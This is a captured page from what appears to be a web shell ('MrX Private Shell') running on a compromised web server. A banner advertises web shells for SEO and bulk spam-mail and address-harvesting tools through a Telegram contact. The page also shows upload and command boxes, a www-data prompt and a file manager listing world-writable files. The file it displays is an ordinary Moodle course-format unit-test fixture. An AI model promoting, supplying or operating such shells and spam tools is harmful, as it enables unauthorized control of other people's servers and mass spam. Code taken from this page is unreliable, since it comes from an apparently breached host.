__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Fixture for fake course format testing course format API.
 *
 * @package    core_course
 * @copyright  2014 Marina Glancy
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class format_theunittest extends core_courseformat\base {

    /**
     * Definitions of the additional options that format uses
     *
     * @param bool $foreditform
     * @return array of options
     */
    public function course_format_options($foreditform = false) {
        static $courseformatoptions = false;
        if ($courseformatoptions === false) {
            $courseformatoptions = array(
                'hideoddsections' => array(
                    'default' => 0,
                    'type' => PARAM_INT,
                ),
                'summary_editor' => array(
                    'default' => '',
                    'type' => PARAM_RAW,
                ),
            );
        }
        if ($foreditform && !isset($courseformatoptions['hideoddsections']['label'])) {
            $sectionmenu = array(
                0 => 'Never',
                1 => 'Hide without notice',
                2 => 'Hide with notice'
            );
            $courseformatoptionsedit = array(
                'hideoddsections' => array(
                    'label' => 'Hide odd sections',
                    'element_type' => 'select',
                    'element_attributes' => array($sectionmenu),
                ),
                'summary_editor' => array(
                    'label' => 'Summary Text',
                    'element_type' => 'editor',
                ),
            );
            $courseformatoptions = array_merge_recursive($courseformatoptions, $courseformatoptionsedit);
        }
        return $courseformatoptions;
    }

    /**
     * Allows to specify for modinfo that section is not available even when it is visible and conditionally available.
     *
     * @param section_info $section
     * @param bool $available
     * @param string $availableinfo
     */
    public function section_get_available_hook(section_info $section, &$available, &$availableinfo) {
        if (($section->section % 2) && ($hideoddsections = $this->get_course()->hideoddsections)) {
            $available = false;
            if ($hideoddsections == 2) {
                $availableinfo = 'Odd sections are oddly hidden';
            } else {
                $availableinfo = '';
            }
        }
    }

    /**
     * Returns true if this course format uses sections
     */
    public function uses_sections() {
        return true;
    }

    /**
     * Returns true if this course format is compatible with content components.
     *
     * Using components means the content elements can watch the frontend course state and
     * react to the changes. Formats with component compatibility can have more interactions
     * without refreshing the page, like having drag and drop from the course index to reorder
     * sections and activities.
     *
     * @return bool if the format is compatible with components.
     */
    public function supports_components() {
        return true;
    }
}

Filemanager

Name Type Size Permission Actions
format_theunittest.php File 3.75 KB 0777
format_theunittest_cmactions.php File 1.03 KB 0777
format_theunittest_courseactions.php File 1.04 KB 0777
format_theunittest_output_course_format_invalidoutput.php File 1.41 KB 0777
format_theunittest_output_course_format_state.php File 1.49 KB 0777
format_theunittest_sectionactions.php File 1.04 KB 0777
format_theunittest_stateactions.php File 4.05 KB 0777
Filemanager